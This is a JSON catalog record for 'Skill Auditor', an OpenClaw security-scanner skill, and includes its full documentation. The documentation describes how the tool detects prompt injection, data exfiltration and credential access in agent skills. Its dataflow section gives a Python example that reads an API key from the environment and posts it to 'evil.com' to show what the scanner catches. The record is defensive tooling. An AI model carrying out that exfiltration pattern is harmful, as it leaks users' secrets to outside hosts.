{
  "schemaVersion": "1.0",
  "item": {
    "slug": "skill-auditor",
    "name": "Skill Auditor",
    "source": "tencent",
    "type": "skill",
    "category": "安全合规",
    "sourceUrl": "https://clawhub.ai/RubenAQuispe/skill-auditor",
    "canonicalUrl": "https://clawhub.ai/RubenAQuispe/skill-auditor",
    "targetPlatform": "OpenClaw"
  },
  "install": {
    "downloadMode": "redirect",
    "downloadUrl": "/downloads/skill-auditor",
    "sourceDownloadUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=skill-auditor",
    "sourcePlatform": "tencent",
    "targetPlatform": "OpenClaw",
    "installMethod": "Manual import",
    "extraction": "Extract archive",
    "prerequisites": [
      "OpenClaw"
    ],
    "packageFormat": "ZIP package",
    "includedAssets": [
      "CHANGELOG.md",
      "COMPARISON-AND-IMPROVEMENT-PLAN.md",
      "drafts/clawhub-clean.md",
      "drafts/clawhub-listing.md",
      "drafts/description-draft.txt",
      "output/seo-competitor-scan.json"
    ],
    "primaryDoc": "SKILL.md",
    "quickSetup": [
      "Download the package from Yavira.",
      "Extract the archive and review SKILL.md first.",
      "Import or place the package into your OpenClaw setup."
    ],
    "agentAssist": {
      "summary": "Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.",
      "steps": [
        "Download the package from Yavira.",
        "Extract it into a folder your agent can access.",
        "Paste one of the prompts below and point your agent at the extracted folder."
      ],
      "prompts": [
        {
          "label": "New install",
          "body": "I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete."
        },
        {
          "label": "Upgrade existing",
          "body": "I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run."
        }
      ]
    },
    "sourceHealth": {
      "source": "tencent",
      "status": "healthy",
      "reason": "direct_download_ok",
      "recommendedAction": "download",
      "checkedAt": "2026-04-23T16:43:11.935Z",
      "expiresAt": "2026-04-30T16:43:11.935Z",
      "httpStatus": 200,
      "finalUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=4claw-imageboard",
      "contentType": "application/zip",
      "probeMethod": "head",
      "details": {
        "probeUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=4claw-imageboard",
        "contentDisposition": "attachment; filename=\"4claw-imageboard-1.0.1.zip\"",
        "redirectLocation": null,
        "bodySnippet": null
      },
      "scope": "source",
      "summary": "Source download looks usable.",
      "detail": "Yavira can redirect you to the upstream package for this source.",
      "primaryActionLabel": "Download for OpenClaw",
      "primaryActionHref": "/downloads/skill-auditor"
    },
    "validation": {
      "installChecklist": [
        "Use the Yavira download entry.",
        "Review SKILL.md after the package is downloaded.",
        "Confirm the extracted package contains the expected setup assets."
      ],
      "postInstallChecks": [
        "Confirm the extracted package includes the expected docs or setup files.",
        "Validate the skill or prompts are available in your target agent workspace.",
        "Capture any manual follow-up steps the agent could not complete."
      ]
    },
    "downloadPageUrl": "https://openagent3.xyz/downloads/skill-auditor",
    "agentPageUrl": "https://openagent3.xyz/skills/skill-auditor/agent",
    "manifestUrl": "https://openagent3.xyz/skills/skill-auditor/agent.json",
    "briefUrl": "https://openagent3.xyz/skills/skill-auditor/agent.md"
  },
  "agentAssist": {
    "summary": "Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.",
    "steps": [
      "Download the package from Yavira.",
      "Extract it into a folder your agent can access.",
      "Paste one of the prompts below and point your agent at the extracted folder."
    ],
    "prompts": [
      {
        "label": "New install",
        "body": "I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete."
      },
      {
        "label": "Upgrade existing",
        "body": "I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run."
      }
    ]
  },
  "documentation": {
    "source": "clawhub",
    "primaryDoc": "SKILL.md",
    "sections": [
      {
        "title": "Skill Auditor v2.1",
        "body": "Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities."
      },
      {
        "title": "After Installing",
        "body": "Run the setup wizard to configure optional features:\n\ncd skills/skill-auditor\nnode scripts/setup.js\n\nThe wizard explains each feature, shows real test data, and lets you choose what to enable."
      },
      {
        "title": "Quick Start",
        "body": "Scan a skill:\n\nnode skills/skill-auditor/scripts/scan-skill.js <skill-directory>\n\nAudit all your installed skills:\n\nnode skills/skill-auditor/scripts/audit-installed.js"
      },
      {
        "title": "Setup Wizard (Recommended)",
        "body": "Run the interactive setup to configure optional features:\n\ncd skills/skill-auditor\nnode scripts/setup.js\n\nThe wizard will:\n\nDetect your OS (Windows, macOS, Linux)\nCheck Python availability (required for AST analysis)\nOffer to install tree-sitter for dataflow analysis\nConfigure auto-scan on skill installation\nSave preferences to ~/.openclaw/skill-auditor.json"
      },
      {
        "title": "Setup Commands",
        "body": "node scripts/setup.js           # Interactive setup wizard\nnode scripts/setup.js --status  # Show current configuration\nnode scripts/setup.js --enable-ast  # Just enable AST analysis"
      },
      {
        "title": "Audit All Installed Skills",
        "body": "Scan every skill in your OpenClaw installation at once:\n\nnode scripts/audit-installed.js\n\nOptions:\n\nnode scripts/audit-installed.js --severity critical  # Only critical issues\nnode scripts/audit-installed.js --json               # Save results to audit-results.json\nnode scripts/audit-installed.js --verbose            # Show top findings per skill\n\nOutput:\n\nColor-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)\nSummary stats (total scanned, by risk level)\nDetailed list of high-risk skills with capabilities"
      },
      {
        "title": "Core Scanner (No Dependencies)",
        "body": "Works on all platforms with just Node.js (which OpenClaw already provides)."
      },
      {
        "title": "AST Analysis (Optional)",
        "body": "Requires Python 3.8+ and tree-sitter packages.\n\nPlatformPython InstallTree-sitter InstallWindowsPre-installed or winget install Python.Python.3pip install tree-sitter tree-sitter-pythonmacOSPre-installed or brew install python3pip3 install tree-sitter tree-sitter-pythonLinuxapt install python3-pippip3 install tree-sitter tree-sitter-python\n\nNote: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!"
      },
      {
        "title": "Core Features (Always Available)",
        "body": "Static Pattern Analysis — Regex-based detection of 40+ threat patterns\nIntent Matching — Contextual analysis against skill's stated purpose\nAccuracy Scoring — Rates how well behavior matches description (1-10)\nRisk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels\nOpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation\nRemote Scanning — Works with GitHub URLs (via scan-url.js)\nVisual Reports — Human-readable threat summaries"
      },
      {
        "title": "1. Python AST Dataflow Analysis",
        "body": "Traces data from sources to sinks through code execution paths\n\nnpm install tree-sitter tree-sitter-python\nnode scripts/scan-skill.js <skill> --mode strict\n\nWhat it detects:\n\nEnvironment variables → Network requests\nFile reads → HTTP posts\nMemory file access → External APIs\nCross-function data flows\n\nExample:\n\n# File 1: utils.py\ndef get_secrets(): return os.environ.get('API_KEY')\n\n# File 2: main.py  \nkey = get_secrets()\nrequests.post('evil.com', data=key)  # ← Dataflow detected!"
      },
      {
        "title": "2. VirusTotal Binary Scanning",
        "body": "Scans executable files against 70+ antivirus engines\n\nexport VIRUSTOTAL_API_KEY=\"your-key-here\"\nnode scripts/scan-skill.js <skill> --use-virustotal\n\nSupported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.\n\nOutput includes:\n\nMalware detection status\nEngine consensus (e.g., \"3/70 engines flagged\")\nDirect VirusTotal report links\nSHA256 hashes for verification"
      },
      {
        "title": "3. LLM Semantic Analysis",
        "body": "Uses AI to understand if detected behaviors match stated intent\n\n# Requires OpenClaw gateway running\nnode scripts/scan-skill.js <skill> --use-llm\n\nHow it works:\n\nGroups findings by category\nAsks LLM: \"Does this behavior match the skill's description?\"\nAdjusts severity based on semantic understanding\nProvides confidence ratings\n\nExample:\n\nFinding: \"Accesses MEMORY.md\"\nSkill says: \"Optimizes agent memory usage\"\nLLM verdict: \"LEGITIMATE — directly supports stated purpose\"\nResult: Severity downgraded, marked as expected"
      },
      {
        "title": "4. SARIF Output for CI/CD",
        "body": "GitHub Code Scanning compatible format\n\nnode scripts/scan-skill.js <skill> --format sarif --fail-on-findings\n\nGitHub integration:\n\n# .github/workflows/skill-scan.yml\n- name: Scan Skills\n  run: |\n    node skill-auditor/scripts/scan-skill.js ./skills/new-skill \\\n      --format sarif --fail-on-findings > results.sarif\n- name: Upload SARIF\n  uses: github/codeql-action/upload-sarif@v2\n  with:\n    sarif_file: results.sarif"
      },
      {
        "title": "5. Detection Modes",
        "body": "Adjustable sensitivity levels\n\n--mode strict      # All patterns, higher false positives\n--mode balanced    # Default, optimized accuracy  \n--mode permissive  # Only critical patterns"
      },
      {
        "title": "Basic Scanning",
        "body": "# Scan local skill\nnode scripts/scan-skill.js ../my-skill\n\n# Scan with JSON output\nnode scripts/scan-skill.js ../my-skill --json report.json\n\n# Format visual report\nnode scripts/format-report.js report.json"
      },
      {
        "title": "Advanced Scanning",
        "body": "# Full analysis with all features\nnode scripts/scan-skill.js ../my-skill \\\n  --mode strict \\\n  --use-virustotal \\\n  --use-llm \\\n  --format sarif \\\n  --json full-report.sarif\n\n# CI/CD integration\nnode scripts/scan-skill.js ../my-skill \\\n  --format sarif \\\n  --fail-on-findings \\\n  --mode balanced"
      },
      {
        "title": "Remote Scanning",
        "body": "# Scan GitHub skill without cloning\nnode scripts/scan-url.js \"https://github.com/user/skill\" --json remote-report.json\nnode scripts/format-report.js remote-report.json"
      },
      {
        "title": "Zero Dependencies (Recommended for CI)",
        "body": "# Works immediately — no installation needed\nnode skill-auditor/scripts/scan-skill.js <skill>"
      },
      {
        "title": "Optional Advanced Features",
        "body": "cd skills/skill-auditor\n\n# Install all optional features\nnpm install\n\n# Or install selectively:\nnpm install tree-sitter tree-sitter-python  # AST analysis\nnpm install yara                            # YARA rules (future)\n\n# VirusTotal requires API key only:\nexport VIRUSTOTAL_API_KEY=\"your-key\"\n\n# LLM analysis requires OpenClaw gateway:\nopenclaw gateway start"
      },
      {
        "title": "Core Threat Categories",
        "body": "Prompt Injection — AI instruction manipulation attempts\nData Exfiltration — Unauthorized data transmission\nSensitive File Access — MEMORY.md, credentials, SSH keys\nShell Execution — Command injection, arbitrary code execution\nPath Traversal — Directory escape attacks\nObfuscation — Hidden/encoded content\nPersistence — System modification for permanent access\nPrivilege Escalation — Browser automation, device access"
      },
      {
        "title": "OpenClaw-Specific Patterns",
        "body": "Memory File Writes — Persistence via MEMORY.md, AGENTS.md\nSession Tool Abuse — Data exfiltration via sessions_send\nGateway Control — config.patch, restart commands\nNode Device Access — camera_snap, screen_record, location_get"
      },
      {
        "title": "Advanced Detection (with optional features)",
        "body": "Python Dataflow — Variable tracking across functions/files\nBinary Malware — Known malicious executables via VirusTotal\nSemantic Intent — LLM-based behavior vs. description analysis"
      },
      {
        "title": "1. JSON (Default)",
        "body": "{\n  \"skill\": { \"name\": \"example\", \"description\": \"...\" },\n  \"riskLevel\": \"HIGH\", \n  \"accuracyScore\": { \"score\": 7, \"reason\": \"...\" },\n  \"findings\": [...],\n  \"summary\": { \"analyzersUsed\": [\"static\", \"ast-python\", \"llm-semantic\"] }\n}"
      },
      {
        "title": "2. SARIF (GitHub Code Scanning)",
        "body": "--format sarif\n\nUploads to GitHub Security tab, integrates with pull request checks."
      },
      {
        "title": "3. Visual Report",
        "body": "node scripts/format-report.js report.json\n\nHuman-readable summary with threat gauge and actionable findings."
      },
      {
        "title": "Environment Variables",
        "body": "VIRUSTOTAL_API_KEY=\"vt-key\"     # VirusTotal integration\nDEBUG=\"1\"                       # Verbose error output"
      },
      {
        "title": "Command Line Options",
        "body": "--json <file>         # JSON output file\n--format sarif        # SARIF output for GitHub\n--mode <mode>         # strict|balanced|permissive  \n--use-virustotal     # Enable binary scanning\n--use-llm           # Enable semantic analysis\n--custom-rules <dir> # Additional YARA rules\n--fail-on-findings  # Exit code 1 for HIGH/CRITICAL\n--help              # Show all options"
      },
      {
        "title": "Architecture Overview",
        "body": "skill-auditor/\n├── scripts/\n│   ├── scan-skill.js         # Main scanner (v2.0)\n│   ├── scan-url.js           # Remote GitHub scanning  \n│   ├── format-report.js      # Visual report formatter\n│   ├── analyzers/            # Pluggable analysis engines\n│   │   ├── static.js         # Core regex patterns (zero-dep)\n│   │   ├── ast-python.js     # Python dataflow analysis\n│   │   ├── virustotal.js     # Binary malware scanning\n│   │   └── llm-semantic.js   # AI-powered intent analysis\n│   └── utils/\n│       └── sarif.js          # GitHub Code Scanning output\n├── rules/\n│   └── default.yar           # YARA format patterns\n├── package.json              # Optional dependencies\n└── references/              # Documentation (unchanged)"
      },
      {
        "title": "Backward Compatibility",
        "body": "v1.x commands work unchanged:\n\nnode scan-skill.js <skill-dir>                    # ✅ Works\nnode scan-skill.js <skill-dir> --json out.json    # ✅ Works  \nnode format-report.js out.json                    # ✅ Works\n\nNew v2.0 features are opt-in:\n\nnode scan-skill.js <skill-dir> --use-llm          # ⚡ Enhanced\nnode scan-skill.js <skill-dir> --use-virustotal   # ⚡ Enhanced"
      },
      {
        "title": "Core Scanner",
        "body": "Novel obfuscation — New encoding techniques not yet in patterns\nBinary analysis — Skips binary files unless VirusTotal enabled\nSophisticated prompt injection — Advanced manipulation techniques may evade regex"
      },
      {
        "title": "Optional Features",
        "body": "Python AST — Limited to Python files, basic dataflow only\nVirusTotal — Rate limited (500 queries/day free tier)\nLLM Analysis — Requires internet connection and OpenClaw gateway\nYARA Rules — Framework ready but custom rules not fully implemented"
      },
      {
        "title": "Common Issues",
        "body": "\"tree-sitter dependencies not available\"\n\nnpm install tree-sitter tree-sitter-python\n\n\"VirusTotal API error: 403\"\n\nexport VIRUSTOTAL_API_KEY=\"your-actual-key\"\n\n\"LLM semantic analysis failed\"\n\n# Check OpenClaw gateway is running:\nopenclaw gateway status\ncurl http://localhost:18789/api/v1/health\n\n\"SARIF output not generated\"\n\n# Ensure all dependencies installed:\ncd skills/skill-auditor && npm install"
      },
      {
        "title": "Debug Mode",
        "body": "DEBUG=1 node scripts/scan-skill.js <skill>"
      },
      {
        "title": "Adding New Patterns",
        "body": "Static patterns → Edit scripts/analyzers/static.js\nYARA rules → Add to rules/ directory\nPython dataflow → Extend scripts/analyzers/ast-python.js"
      },
      {
        "title": "Testing New Features",
        "body": "# Test against multiple skills:\nnode scripts/scan-skill.js ../blogwatcher --use-llm --mode strict\nnode scripts/scan-skill.js ../summarize --use-virustotal  \nnode scripts/scan-skill.js ../secure-browser-agent --format sarif"
      },
      {
        "title": "Security Note",
        "body": "This scanner is one layer of defense, not a guarantee. Always:\n\nReview code manually for novel attacks\nRe-scan after skill updates\nUse multiple security tools\nTrust but verify — especially for high-privilege skills\n\nFor sensitive environments, enable all advanced features:\n\nnode scripts/scan-skill.js <skill> \\\n  --mode strict \\\n  --use-virustotal \\\n  --use-llm \\\n  --fail-on-findings"
      }
    ],
    "body": "Skill Auditor v2.1\n\nEnhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.\n\nAfter Installing\n\nRun the setup wizard to configure optional features:\n\ncd skills/skill-auditor\nnode scripts/setup.js\n\n\nThe wizard explains each feature, shows real test data, and lets you choose what to enable.\n\nQuick Start\n\nScan a skill:\n\nnode skills/skill-auditor/scripts/scan-skill.js <skill-directory>\n\n\nAudit all your installed skills:\n\nnode skills/skill-auditor/scripts/audit-installed.js\n\nSetup Wizard (Recommended)\n\nRun the interactive setup to configure optional features:\n\ncd skills/skill-auditor\nnode scripts/setup.js\n\n\nThe wizard will:\n\nDetect your OS (Windows, macOS, Linux)\nCheck Python availability (required for AST analysis)\nOffer to install tree-sitter for dataflow analysis\nConfigure auto-scan on skill installation\nSave preferences to ~/.openclaw/skill-auditor.json\nSetup Commands\nnode scripts/setup.js           # Interactive setup wizard\nnode scripts/setup.js --status  # Show current configuration\nnode scripts/setup.js --enable-ast  # Just enable AST analysis\n\nAudit All Installed Skills\n\nScan every skill in your OpenClaw installation at once:\n\nnode scripts/audit-installed.js\n\n\nOptions:\n\nnode scripts/audit-installed.js --severity critical  # Only critical issues\nnode scripts/audit-installed.js --json               # Save results to audit-results.json\nnode scripts/audit-installed.js --verbose            # Show top findings per skill\n\n\nOutput:\n\nColor-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)\nSummary stats (total scanned, by risk level)\nDetailed list of high-risk skills with capabilities\nCross-Platform Installation\nCore Scanner (No Dependencies)\n\nWorks on all platforms with just Node.js (which OpenClaw already provides).\n\nAST Analysis (Optional)\n\nRequires Python 3.8+ and tree-sitter packages.\n\nPlatform\tPython Install\tTree-sitter Install\nWindows\tPre-installed or winget install Python.Python.3\tpip install tree-sitter tree-sitter-python\nmacOS\tPre-installed or brew install python3\tpip3 install tree-sitter tree-sitter-python\nLinux\tapt install python3-pip\tpip3 install tree-sitter tree-sitter-python\n\nNote: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!\n\nCore Features (Always Available)\nStatic Pattern Analysis — Regex-based detection of 40+ threat patterns\nIntent Matching — Contextual analysis against skill's stated purpose\nAccuracy Scoring — Rates how well behavior matches description (1-10)\nRisk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels\nOpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation\nRemote Scanning — Works with GitHub URLs (via scan-url.js)\nVisual Reports — Human-readable threat summaries\nAdvanced Features (Optional)\n1. Python AST Dataflow Analysis\n\nTraces data from sources to sinks through code execution paths\n\nnpm install tree-sitter tree-sitter-python\nnode scripts/scan-skill.js <skill> --mode strict\n\n\nWhat it detects:\n\nEnvironment variables → Network requests\nFile reads → HTTP posts\nMemory file access → External APIs\nCross-function data flows\n\nExample:\n\n# File 1: utils.py\ndef get_secrets(): return os.environ.get('API_KEY')\n\n# File 2: main.py  \nkey = get_secrets()\nrequests.post('evil.com', data=key)  # ← Dataflow detected!\n\n2. VirusTotal Binary Scanning\n\nScans executable files against 70+ antivirus engines\n\nexport VIRUSTOTAL_API_KEY=\"your-key-here\"\nnode scripts/scan-skill.js <skill> --use-virustotal\n\n\nSupported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.\n\nOutput includes:\n\nMalware detection status\nEngine consensus (e.g., \"3/70 engines flagged\")\nDirect VirusTotal report links\nSHA256 hashes for verification\n3. LLM Semantic Analysis\n\nUses AI to understand if detected behaviors match stated intent\n\n# Requires OpenClaw gateway running\nnode scripts/scan-skill.js <skill> --use-llm\n\n\nHow it works:\n\nGroups findings by category\nAsks LLM: \"Does this behavior match the skill's description?\"\nAdjusts severity based on semantic understanding\nProvides confidence ratings\n\nExample:\n\nFinding: \"Accesses MEMORY.md\"\nSkill says: \"Optimizes agent memory usage\"\nLLM verdict: \"LEGITIMATE — directly supports stated purpose\"\nResult: Severity downgraded, marked as expected\n4. SARIF Output for CI/CD\n\nGitHub Code Scanning compatible format\n\nnode scripts/scan-skill.js <skill> --format sarif --fail-on-findings\n\n\nGitHub integration:\n\n# .github/workflows/skill-scan.yml\n- name: Scan Skills\n  run: |\n    node skill-auditor/scripts/scan-skill.js ./skills/new-skill \\\n      --format sarif --fail-on-findings > results.sarif\n- name: Upload SARIF\n  uses: github/codeql-action/upload-sarif@v2\n  with:\n    sarif_file: results.sarif\n\n5. Detection Modes\n\nAdjustable sensitivity levels\n\n--mode strict      # All patterns, higher false positives\n--mode balanced    # Default, optimized accuracy  \n--mode permissive  # Only critical patterns\n\nUsage Examples\nBasic Scanning\n# Scan local skill\nnode scripts/scan-skill.js ../my-skill\n\n# Scan with JSON output\nnode scripts/scan-skill.js ../my-skill --json report.json\n\n# Format visual report\nnode scripts/format-report.js report.json\n\nAdvanced Scanning\n# Full analysis with all features\nnode scripts/scan-skill.js ../my-skill \\\n  --mode strict \\\n  --use-virustotal \\\n  --use-llm \\\n  --format sarif \\\n  --json full-report.sarif\n\n# CI/CD integration\nnode scripts/scan-skill.js ../my-skill \\\n  --format sarif \\\n  --fail-on-findings \\\n  --mode balanced\n\nRemote Scanning\n# Scan GitHub skill without cloning\nnode scripts/scan-url.js \"https://github.com/user/skill\" --json remote-report.json\nnode scripts/format-report.js remote-report.json\n\nInstallation Options\nZero Dependencies (Recommended for CI)\n# Works immediately — no installation needed\nnode skill-auditor/scripts/scan-skill.js <skill>\n\nOptional Advanced Features\ncd skills/skill-auditor\n\n# Install all optional features\nnpm install\n\n# Or install selectively:\nnpm install tree-sitter tree-sitter-python  # AST analysis\nnpm install yara                            # YARA rules (future)\n\n# VirusTotal requires API key only:\nexport VIRUSTOTAL_API_KEY=\"your-key\"\n\n# LLM analysis requires OpenClaw gateway:\nopenclaw gateway start\n\nWhat Gets Detected\nCore Threat Categories\nPrompt Injection — AI instruction manipulation attempts\nData Exfiltration — Unauthorized data transmission\nSensitive File Access — MEMORY.md, credentials, SSH keys\nShell Execution — Command injection, arbitrary code execution\nPath Traversal — Directory escape attacks\nObfuscation — Hidden/encoded content\nPersistence — System modification for permanent access\nPrivilege Escalation — Browser automation, device access\nOpenClaw-Specific Patterns\nMemory File Writes — Persistence via MEMORY.md, AGENTS.md\nSession Tool Abuse — Data exfiltration via sessions_send\nGateway Control — config.patch, restart commands\nNode Device Access — camera_snap, screen_record, location_get\nAdvanced Detection (with optional features)\nPython Dataflow — Variable tracking across functions/files\nBinary Malware — Known malicious executables via VirusTotal\nSemantic Intent — LLM-based behavior vs. description analysis\nOutput Formats\n1. JSON (Default)\n{\n  \"skill\": { \"name\": \"example\", \"description\": \"...\" },\n  \"riskLevel\": \"HIGH\", \n  \"accuracyScore\": { \"score\": 7, \"reason\": \"...\" },\n  \"findings\": [...],\n  \"summary\": { \"analyzersUsed\": [\"static\", \"ast-python\", \"llm-semantic\"] }\n}\n\n2. SARIF (GitHub Code Scanning)\n--format sarif\n\n\nUploads to GitHub Security tab, integrates with pull request checks.\n\n3. Visual Report\nnode scripts/format-report.js report.json\n\n\nHuman-readable summary with threat gauge and actionable findings.\n\nConfiguration\nEnvironment Variables\nVIRUSTOTAL_API_KEY=\"vt-key\"     # VirusTotal integration\nDEBUG=\"1\"                       # Verbose error output\n\nCommand Line Options\n--json <file>         # JSON output file\n--format sarif        # SARIF output for GitHub\n--mode <mode>         # strict|balanced|permissive  \n--use-virustotal     # Enable binary scanning\n--use-llm           # Enable semantic analysis\n--custom-rules <dir> # Additional YARA rules\n--fail-on-findings  # Exit code 1 for HIGH/CRITICAL\n--help              # Show all options\n\nArchitecture Overview\nskill-auditor/\n├── scripts/\n│   ├── scan-skill.js         # Main scanner (v2.0)\n│   ├── scan-url.js           # Remote GitHub scanning  \n│   ├── format-report.js      # Visual report formatter\n│   ├── analyzers/            # Pluggable analysis engines\n│   │   ├── static.js         # Core regex patterns (zero-dep)\n│   │   ├── ast-python.js     # Python dataflow analysis\n│   │   ├── virustotal.js     # Binary malware scanning\n│   │   └── llm-semantic.js   # AI-powered intent analysis\n│   └── utils/\n│       └── sarif.js          # GitHub Code Scanning output\n├── rules/\n│   └── default.yar           # YARA format patterns\n├── package.json              # Optional dependencies\n└── references/              # Documentation (unchanged)\n\nBackward Compatibility\n\nv1.x commands work unchanged:\n\nnode scan-skill.js <skill-dir>                    # ✅ Works\nnode scan-skill.js <skill-dir> --json out.json    # ✅ Works  \nnode format-report.js out.json                    # ✅ Works\n\n\nNew v2.0 features are opt-in:\n\nnode scan-skill.js <skill-dir> --use-llm          # ⚡ Enhanced\nnode scan-skill.js <skill-dir> --use-virustotal   # ⚡ Enhanced\n\nLimitations\nCore Scanner\nNovel obfuscation — New encoding techniques not yet in patterns\nBinary analysis — Skips binary files unless VirusTotal enabled\nSophisticated prompt injection — Advanced manipulation techniques may evade regex\nOptional Features\nPython AST — Limited to Python files, basic dataflow only\nVirusTotal — Rate limited (500 queries/day free tier)\nLLM Analysis — Requires internet connection and OpenClaw gateway\nYARA Rules — Framework ready but custom rules not fully implemented\nTroubleshooting\nCommon Issues\n\n\"tree-sitter dependencies not available\"\n\nnpm install tree-sitter tree-sitter-python\n\n\n\"VirusTotal API error: 403\"\n\nexport VIRUSTOTAL_API_KEY=\"your-actual-key\"\n\n\n\"LLM semantic analysis failed\"\n\n# Check OpenClaw gateway is running:\nopenclaw gateway status\ncurl http://localhost:18789/api/v1/health\n\n\n\"SARIF output not generated\"\n\n# Ensure all dependencies installed:\ncd skills/skill-auditor && npm install\n\nDebug Mode\nDEBUG=1 node scripts/scan-skill.js <skill>\n\nContributing\nAdding New Patterns\nStatic patterns → Edit scripts/analyzers/static.js\nYARA rules → Add to rules/ directory\nPython dataflow → Extend scripts/analyzers/ast-python.js\nTesting New Features\n# Test against multiple skills:\nnode scripts/scan-skill.js ../blogwatcher --use-llm --mode strict\nnode scripts/scan-skill.js ../summarize --use-virustotal  \nnode scripts/scan-skill.js ../secure-browser-agent --format sarif\n\nSecurity Note\n\nThis scanner is one layer of defense, not a guarantee. Always:\n\nReview code manually for novel attacks\nRe-scan after skill updates\nUse multiple security tools\nTrust but verify — especially for high-privilege skills\n\nFor sensitive environments, enable all advanced features:\n\nnode scripts/scan-skill.js <skill> \\\n  --mode strict \\\n  --use-virustotal \\\n  --use-llm \\\n  --fail-on-findings"
  },
  "trust": {
    "sourceLabel": "tencent",
    "provenanceUrl": "https://clawhub.ai/RubenAQuispe/skill-auditor",
    "publisherUrl": "https://clawhub.ai/RubenAQuispe/skill-auditor",
    "owner": "RubenAQuispe",
    "version": "2.1.3",
    "license": null,
    "verificationStatus": "Indexed source record"
  },
  "links": {
    "detailUrl": "https://openagent3.xyz/skills/skill-auditor",
    "downloadUrl": "https://openagent3.xyz/downloads/skill-auditor",
    "agentUrl": "https://openagent3.xyz/skills/skill-auditor/agent",
    "manifestUrl": "https://openagent3.xyz/skills/skill-auditor/agent.json",
    "briefUrl": "https://openagent3.xyz/skills/skill-auditor/agent.md"
  }
}